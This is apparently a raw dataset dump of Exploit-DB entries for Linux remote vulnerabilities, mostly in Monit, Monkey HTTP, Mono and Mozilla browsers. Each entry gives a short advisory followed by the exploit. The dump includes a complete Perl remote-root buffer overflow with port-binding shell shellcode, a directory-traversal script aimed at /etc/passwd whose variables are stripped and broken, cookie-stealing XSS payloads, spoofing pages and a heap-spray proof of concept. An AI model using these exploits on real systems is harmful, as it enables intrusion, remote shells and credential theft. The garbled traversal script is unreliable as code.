deardaniel/secdata-raw huggingface dataset:
Exploit-DB #173
Description: Monit 4.1 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2004-04-09
Author: gsicht

Exploit:
#!/usr/bin/perl
#
# monit <= 4.1 remote root exploit
# coded by gsicht (09.04.04)
#

use IO::Socket::INET;
$socket = 0;

my $shellcode = # 8 + 88 = 96 bytes portbind 31337
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" .
"\x89\xc7\x52\x66\x68" .
"\x7a\x69" . # port 31337/tcp, change if needed
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80" .
"\xb0\x66\xb3\x04\xcd\x80" .
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80" .
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" .
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";


print "\nmonit 4.1 dos exploit\n";
print "coded by gsicht\n\n";

if(@ARGV<1)
{
print "Usage: perl agate.pl <target>\n\n";
exit(0);
}

print "HOST:\t$ARGV[0]\n";
print "PORT:\t2812\n";


my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; # esp mandrake 9.1
#my $buffer = "A" x 284 . "XXXX" . "B" x 100; #dos and debug

print "connecting to server...\n";

$socket = IO::Socket::INET -> new( PeerAddr => $ARGV[0],
    PeerPort => 2812,
    Proto    => "tcp");
if(!defined($socket))
{
print "could not connect :-P\n";
sleep(1);
exit(0);
}

print "connected\n";
sleep(1);
print "sending string\n";
print $socket $buffer;

close $socket;
print "\ndosed!\n";

# milw0rm.com [2004-04-09]
Exploit-DB #21857
Description: Monkey HTTP Server 0.1.4 - File Disclosure
Type: remote
Platform: linux
Date: 2002-09-25
Author: DownBload

Exploit:
source: https://www.securityfocus.com/bid/5792/info

Monkey HTTP server is prone to a directory-traversal bug that may allow attackers to access sensitive files.

By passing a malicious query to a vulnerable server, an attacker can potentially gain access to arbitrary webserver-readable files. This issue occurs because the application fails to sufficiently validate the user-supplied input. 

#!/usr/bin/perl
#
# (0 day;) Monkey-0.1.4 reverse traversal exploit
#
# Usage:
#    perl monkey.pl <hostname> <httpport> <file>
#
#    <hostname> - target host
#    <httpport> - port on which HTTP daemon is listening
#    <file>     - file which you wanna get
#
# Example:
#    perl monkey.pl www.ii-labs.org 80 /etc/passwd
#
#                             by DownBload <downbload@hotmail.com>
#                             Illegal Instruction Labs
#
use IO::Socket;

 sub sock () {
    = IO::Socket::INET->new (PeerAddr => ,
                                  PeerPort => ,
                                  Proto    => "tcp")
   || die "[ ERROR: Can't connect to !!! ]\n\n";
 }

 sub banner() {
  print "[--------------------------------------------------]\n";
  print "[       Monkey-0.1.4 reverse traversal exploit     ]\n";
  print "[        by DownBload <downbload\@hotmail.com>      ]\n";
  print "[             Illegal Instruction Labs             ]\n";
  print "[--------------------------------------------------]\n";
 }

 if (0ARGV != 2)
 {
  banner();
  print "[ Usage:                                           ]\n";
  print "[    perl monkey.pl <hostname> <httpport> <file>   ]\n";
  print "[--------------------------------------------------]\n";
  exit(0);
 }

  = [0];
  = [1];
  = [2];

 banner();
 print "[ Connecting to ... ]\n";
 sock();
 print "[ Sending probe... ]\n";
 print  "HEAD / HTTP/1.0\n\n";
 while ( = <>) {  =  . ; }
 if ( =~ /Monkey/) { print "[ Monkey HTTP server found,
continuing... ]\n"; }
 else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; }
 close ();

 print "[ Connecting to ... ]\n";
 sock();
 print "[ Sending GET request... ]\n";
 print  "GET //../../../../../../../../../ HTTP/1.0\n\n";
 print "[ Waiting for response... ]\n\n";
 while ( = <>) { print ; }
 close ();
Exploit-DB #32303
Description: Mono 2.0 - 'System.Web' HTTP Header Injection
Type: remote
Platform: linux
Date: 2008-08-20
Author: Juraj Skripsky

Exploit:
source: https://www.securityfocus.com/bid/30867/info

Mono is prone to a vulnerability that allows attackers to inject arbitrary HTTP headers because it fails to sanitize input.

By inserting arbitrary headers into an HTTP response, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTTP-request-smuggling, and other attacks.

This issue affects Mono 2.0 and earlier. 

<script runat="server"> void Page_Load(object o, EventArgs e) { // Query parameter text is not checked before saving in user cookie NameValueCollection request = Request.QueryString; // Adding cookies to the response Response.Cookies["userName"].Value = request["text"]; } </script>
Exploit-DB #29302
Description: Mono XSP 1.x/2.0 - Source Code Information Disclosure
Type: remote
Platform: linux
Date: 2006-12-20
Author: jose.palanco

Exploit:
source: https://www.securityfocus.com/bid/21687/info

XSP is prone to a source code information-disclosure vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

http://www.example.com/app/Default.aspx%20
Exploit-DB #32942
Description: Mozilla (Multiple Products) - Server Refresh Header Cross-Site Scripting
Type: remote
Platform: linux
Date: 2009-04-22
Author: Olli Pettay

Exploit:
source: https://www.securityfocus.com/bid/34656/info

The Mozilla Foundation has released multiple security advisories specifying various vulnerabilities in Firefox, Thunderbird, and SeaMonkey.

Attackers can exploit these issues to bypass same-origin restrictions, obtain potentially sensitive information, and execute arbitrary script code with elevated privileges; other attacks are also possible. 

With request to script at web site:

http://www.example.com/script.php?param=javascript:alert(document.cookie)

Which returns in answer the refresh header:

refresh: 0; URL=javascript:alert(document.cookie)
Exploit-DB #24312
Description: Mozilla Browser 0.8/0.9/1.x - Refresh Security Property Spoofing
Type: remote
Platform: linux
Date: 2004-07-26
Author: E.Kellinis

Exploit:
source: https://www.securityfocus.com/bid/10796/info

Mozilla and Firefox may permit malicious Web pages to spoof security properties of a trusted site.

An attacker can exploit this issue to spoof the URI and SSL certificate of a site trusted by an unsuspecting user. The attacker can then use this spoofing to steal sensitive or private information, facilitating phishing attacks

< HTML>
< HEAD>
< TITLE>Spoofer< /TITLE>
< META HTTP-EQUIV="REFRESH" CONTENT="0;URL=https://www.example.com">
< /HEAD>
< BODY
onunload="
document.close();
document.writeln('< body onload=document.close();break;>
< h3>It is Great to Use example's Cert!');

document.close();
window.location.reload();
">
< /body>
Exploit-DB #26288
Description: Mozilla Browser/Firefox - Arbitrary Command Execution
Type: remote
Platform: linux
Date: 2005-09-20
Author: eter Zelezny

Exploit:
source: https://www.securityfocus.com/bid/14888/info

Mozilla Browser/Firefox are affected by an arbitrary command-execution vulnerability.

This attack would occur in the context of the user running the vulnerable application and may facilitate unauthorized remote access.

Mozilla Firefox 1.0.6 running on UNIX-based platforms is reportedly vulnerable. Other versions and applications employing Firefox functionality may be vulnerable as well.

Mozilla Browser 1.7.x versions and Thunderbird 1.x versions are also vulnerable to this issue. 

http://local\`find\`host
Exploit-DB #27150
Description: Mozilla Firefox 1.0/1.5 XBL - MOZ-BINDING Property Cross-Domain Scripting
Type: remote
Platform: linux
Date: 2006-01-30
Author: Chris Thomas

Exploit:
source: https://www.securityfocus.com/bid/16427/info

Mozilla Firefox is prone to a security vulnerability that may let a Web page execute malicious script code in the context of an arbitrary domain.

The issue affects the '-moz-binding' property.


This could allow a malicious site to access the properties of a trusted site and facilitate various attacks including disclosure of sensitive information. 

http://domain1/path/to/page.html :

<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss"); }
</style>
</head>
<body>
</body>
</html>

http://domain2/path/to/xbl.xml :

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">

<binding id="xss">
<implementation>
<constructor>
alert("XBL XSS");
</constructor>
</implementation>
</binding>

</bindings>
Exploit-DB #29768
Description: Mozilla FireFox 1.5.x/2.0 - FTP PASV Port-Scanning
Type: remote
Platform: linux
Date: 2007-03-21
Author: mark

Exploit:
source: https://www.securityfocus.com/bid/23082/info

Mozilla Firefox is prone to vulnerability that may allow attackers to obtain potentially sensitive information.

A successful exploit of this issue would cause the affected application to connect to arbitrary TCP ports and potentially reveal sensitive information about services that are running on the affected computer. Information obtained may aid attackers in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29768.zip
Exploit-DB #27987
Description: Mozilla Firefox 1.x - JavaScript Key Filtering
Type: remote
Platform: linux
Date: 2006-06-06
Author: Jesse Ruderman

Exploit:
source: https://www.securityfocus.com/bid/18308/info
 
Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users.
 
This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible.
 
Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue.
 
Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue.


<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
        color: white;
        background-color: white;
        opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
    {
    saved = chucky.which;
    //alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
    if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
        i > mystring.length-1) {
       return false;
    }
    i++;
    return true;
  };
function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value=''
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className='first';">

</FORM>
</BODY>
</HTML>
Exploit-DB #31051
Description: Mozilla Firefox 2.0 - 'chrome://' URI JavaScript File Request Information Disclosure
Type: remote
Platform: linux
Date: 2008-01-19
Author: Gerry Eisenhaur

Exploit:
source: https://www.securityfocus.com/bid/27406/info

Mozilla Firefox is prone to an information-disclosure vulnerability because it fails to restrict access to local JavaScript, images and stylesheets files.

Attackers can exploit this issue to gain access to potentially sensitive information that could aid in further attacks.

Firefox 2.0.0.11 is vulnerable; other versions may also be affected.

NOTE: For an exploit to succeed, a user must have an addon installed that does not store its contents in a '.jar' file. The attacker would have to target a specific addon that uses "flat" packaging. 

<script>pref = function(x, y){document.write(x + ' -> ' + y + '<br>');};</script> <script src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script>
Exploit-DB #31127
Description: Mozilla Firefox 2.0.9 - 'view-source:' Scheme Information Disclosure
Type: remote
Platform: linux
Date: 2008-02-08
Author: Ronald van den Heetkamp

Exploit:
source: https://www.securityfocus.com/bid/27700/info

Mozilla Firefox is prone to an information-disclosure vulnerability because it fails to restrict access to local resources.

Attackers can exploit this issue to obtain potentially sensitive information that will aid in further attacks.

Firefox 2.0.0.12 and prior versions are vulnerable.

<script> /* @name: Firefox <= 2.0.0.12 information leak pOc @date: Feb. 07 2008 @author: Ronald van den Heetkamp @url: http://www.0x000000.com */ pref = function(a,b) { document.write( a + ' -> ' + b + '<br />'); }; </script> <script src="view-source:resource:///greprefs/all.js"></script>
Exploit-DB #33039
Description: Mozilla Firefox 3.0.10 / SeaMonkey 1.1.16 - Address Bar URI Spoofing
Type: remote
Platform: linux
Date: 2009-05-11
Author: Pavel Cvrcek

Exploit:
source: https://www.securityfocus.com/bid/35388/info

Mozilla Firefox and SeaMonkey are affected by a URI-spoofing vulnerability because they fail to adequately handle user-supplied data.

An attacker may leverage this issue by inserting arbitrary content to spoof a URI presented to an unsuspecting user. This may lead to a false sense of trust because the victim may be presented with a URI of a seemingly trusted site while interacting with the attacker's malicious site.

Versions *prior to* the following are affected:

Firefox 3.0.11
SeaMonkey 1.1.17

NOTE: This issue was previously covered in BID 35326 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2009-24 through -32 Multiple Remote Vulnerabilities), but has been assigned its own record to better document it. 


The following example URI is available:

https://www.example.xn--com-edoaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example2.org/

This URI would be decoded as 'www.example.com' followed by multiple 'U+115a' characters and '.example2.org'.
Exploit-DB #33103
Description: Mozilla Firefox 3.5.1 - Error Page Address Bar URI Spoofing
Type: remote
Platform: linux
Date: 2009-06-24
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/35803/info

Mozilla Firefox is affected by a URI-spoofing vulnerability.

An attacker may leverage this issue by inserting arbitrary content to spoof a URI presented to an unsuspecting user. This may lead to a false sense of trust because the victim may be presented with a URI of a seemingly trusted site while interacting with the attacker's malicious site.

This issue affects Firefox versions prior to 3.5.2 and 3.0.13. 

</script> <center> <h1>Firefox spoofing</h1> </center> <p> <a href="javascript:spoof()">test!</a> <p> <script> function spoof() { a = window.open("http://www.example.com%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,") a.document.write("<H1>FAKE PAGE<\h1>") a.document.write("<title>test</title>") a.stop (); } </script> <br> Juan Pablo Lopez Yacubian
Exploit-DB #33313
Description: Mozilla Firefox 3.5.3 / SeaMonkey 1.1.17 - 'libpr0n' .GIF Parser Heap Buffer Overflow
Type: remote
Platform: linux
Date: 2009-10-27
Author: regenrecht

Exploit:
source: https://www.securityfocus.com/bid/36855/info

Mozilla Firefox and SeaMonkey are prone to a heap-based buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code and to cause denial-of-service conditions by tricking a victim into visiting a malicious webpage.

NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities), but has been assigned its own record to better document it.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33313.tgz
Exploit-DB #33798
Description: Mozilla Firefox 3.6 - Image Preloading Content-Policy Check Security Bypass
Type: remote
Platform: linux
Date: 2010-03-18
Author: Josh Soref

Exploit:
source: https://www.securityfocus.com/bid/38927/info

Mozilla Firefox is prone to a security-bypass vulnerability.

Attackers can exploit this issue to bypass content-loading policies.

Attackers can exploit this issue to bypass content-loading policies. The impact of this issue will depend on the reasons behind the content check. Consequences may include cross-site request-forgery attacks, denial-of-service conditions, and possibly remote code execution.

Mozilla Firefox 3.6 is vulnerable.

NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it.

<img src="file:///dev/tty">
Exploit-DB #34358
Description: Mozilla Firefox and SeaMonkey Plugin Parameters - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2010-07-20
Author: J23

Exploit:
source: https://www.securityfocus.com/bid/41842/info

Mozilla Firefox and SeaMonkey are prone to a buffer-overflow vulnerability.

An attacker can exploit this issue by tricking an unsuspecting victim into viewing a page containing malicious content. A successful exploit will result in the execution of arbitrary attacker-supplied code in the context of the user running the affected application.

This issue is fixed in:

Firefox 3.6.7
Firefox 3.5.11
SeaMonkey 2.0.6

NOTE: This issue was previously covered in BID 41824 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-34 Through -47 Multiple Remote Vulnerabilities), but has been assigned its own record to better document it. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34358.zip
Exploit-DB #34881
Description: Mozilla Firefox SeaMonkey 3.6.10 / Thunderbird 3.1.4 - 'document.write' Memory Corruption
Type: remote
Platform: linux
Date: 2010-10-19
Author: Alexander Miller

Exploit:
source: https://www.securityfocus.com/bid/44247/info

Mozilla Firefox, Thunderbird, and Seamonkey are prone to a memory-corruption vulnerability because they fail to adequately validate user-supplied data.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects versions prior to:

Firefox 3.6.11
Firefox 3.5.14
Thunderbird 3.1.5
Thunderbird 3.0.9
SeaMonkey 2.0.9

NOTE: This issue was previously discussed in 44228 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-64/65/66/67/68/69/71/72 Multiple Vulnerabilities) but has been given its own record to better document it. 

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
    var eip = unescape("%u4141%u4141");
    var string2 = unescape("%u0000%u0000");
    var finalstring2 = expand(string2, 49000000);
    var finaleip = expand(eip, 21000001);
document.write(finalstring2);
document.write(finaleip);
function expand(string, number) {
    var i = Math.ceil(Math.log(number) / Math.LN2),
        result = string;
    do {
        result += result;
    } while (0 < --i);
    return result.slice(0, string.length * number);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>
Exploit-DB #30439
Description: Mozilla Firefox/Thunderbird/SeaMonkey - Chrome-Loaded About:Blank Script Execution
Type: remote
Platform: linux
Date: 2007-07-31
Author: moz_bug_r_a4

Exploit:
source: https://www.securityfocus.com/bid/25142/info

Mozilla Firefox, Thunderbird, and SeaMonkey are prone to a vulnerability that allows JavaScript to execute with unintended privileges.

A malicious site may be able to cause the execution of a script with Chrome privileges. Attackers could exploit this issue to execute hostile script code with privileges that exceed those that were intended. Certain Firefox extensions may not intend 'about:blank' to execute script code with Chrome privileges.

NOTE: This issue was introduced by the fix for MFSA 2007-20. 

The following proof of concept is available:

w=open("about:blank");alert(1);u="javascript:alert(Components.stack);";w.document.body.innerHTML=u.link(u);w.focus();1 or top.opener.content.location="about:blank";alert(1);u="javascript:alert(Components.stack);";(w=top.opener.content).document.body.innerHTML=u.link(u);w.focus();1
Exploit-DB #35095
Description: Mozilla Firefox/Thunderbird/SeaMonkey - Multiple HTML Injection Vulnerabilities
Type: remote
Platform: linux
Date: 2010-12-09
Author: Yosuke Hasegawa

Exploit:
source: https://www.securityfocus.com/bid/45353/info

Mozilla Firefox, SeaMonkey, and Thunderbird are prone to multiple HTML-injection vulnerabilities.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

This issue is fixed in:

Firefox 3.6.13
Firefox 3.5.16
SeaMonkey 2.0.11

x-mac-farsi exploit: <meta charset="x-mac-farsi">?script ?alert(1)//?/script ?